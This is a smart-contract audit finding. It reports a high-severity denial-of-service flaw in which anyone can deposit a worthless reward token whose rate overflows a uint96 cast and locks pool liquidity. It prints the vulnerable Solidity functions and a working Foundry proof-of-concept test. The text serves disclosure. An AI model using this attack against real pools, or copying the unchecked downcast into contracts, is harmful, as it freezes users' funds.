HIGH severity: Permissionless reward distribution can be abused to cause full denial of service and loss of funds for pools. **Description:** The distribution of reward token incentives is a permissionless action, meaning that anyone can create a worthless token and mint a large amount to be distributed. Whenever a notification is made from the incentive manager to the logic on some change within the pool, the...

Vulnerable code:
function _updateAllUserState(IncentivizedPoolId id, address account) internal virtual {
    if(!userLiquiditySynced[id][account]) {
        _syncUserLiquidity(id, account);
        userLiquiditySynced[id][account] = true;
    }

    address[] memory _tokens = poolRewards[id];
    uint256 _length = _tokens.length;
    for (uint256 i; i < _length; i++) {
        _updateRewardState(id, _tokens[i], account);
    }
}

function _updateRewardState(IncentivizedPoolId id, address token, address account) internal virtual {
    // Sync pool total liquidity if not already done
    if(!poolSynced[id]) {
        _syncPoolLiquidity(id);
        poolSynced[id] = true;
    }

    RewardData storage _state = poolRewardData[id][token];
    uint96 newRewardPerToken = _newRewardPerToken(id, token).toUint96();
    _state.rewardPerTokenStored = newRewardPerToken;

    uint32 endTimestampCache = _state.endTimestamp;
    _state.lastUpdateTime = block.timestamp < endTimestampCache ? block.timestamp.toUint32() : endTimestampCache;

    // Update user state if an account is provided
    if (account != address(0)) {
        if(!userLiquiditySynced[id][account]) {
            _syncUserLiquidity(id, account);
            userLiquiditySynced[id][account] = true;
        }

        UserRewardData storage _userState = userRewardStates[id][account][token];
        _userState.accrued = _earned(id, token, account).toUint160();
        _userState.lastRewardPerToken = newRewardPerToken;
    }
}

function _newRewardPerToken(IncentivizedPoolId id, address token) internal view override returns (uint256) {
    uint256 _totalSupply = poolStates[id].totalLiquidity;
    RewardData memory _state = poolRewardData[id][token];
    if (_totalSupply == 0) return _state.rewardPerTokenStored;

    uint256 lastUpdateTimeApplicable = block.timestamp < _state.endTimestamp ? block.timestamp : _state.endTimestamp;

    return _state.rewardPerTokenStored
        + ((((lastUpdateTimeApplicable - _state.lastUpdateTime) * _state.ratePerSec) * UNIT) / _totalSupply);
}

function test_MaliciousToken() public {
    MockERC20 token3 = new MockERC20("TEST", "TEST", 18);
    token3.mint(address(this), 2 ** 128);
    token3.approve(address(logic), 2 ** 128);

    PoolId poolKey;
    IncentivizedPoolId poolId;
    address lpToken = address(7);

    poolKey = createPoolKey(address(1), address(2), 3000).toId();
    poolId = IncentivizedPoolKey({ id: poolKey, lpToken: lpToken }).toId();

    manager.setListedPool(poolId, true);
    logic.updateDefaultFee(0);

    address[] memory systems = new address[](1);
    systems[0] = address(logic);

    manager.notifyAddLiquidty(systems, poolKey, lpToken, user1, int256(1 ether));

    uint256 amountNotOverflow = 47917192688627071376575381162608000;
    uint256 duration = 1 weeks;

    logic.depositRewards(poolId, address(token3), amountNotOverflow, duration);

    // The malicious user sets the ratePerSec to the maximum number that uint96 can hold
    (, , uint256 ratePerSec, ) = logic.poolRewardData(poolId, address(token3));
    assertEq(ratePerSec, type(uint96).max);

    // After 2 seconds, the pool is completely locked because of overflowing when computing
    // the _newRewardPerToken and downcasting to uint96
    skip(2);

    // The pool is completely DoSd and the user that has liquidity in the pool lost all their
    // funds because they can not remove them
    vm.expectRevert();
    manager.notifyRemoveLiquidty(systems, poolKey, lpToken, user1, -int256(1 ether));
}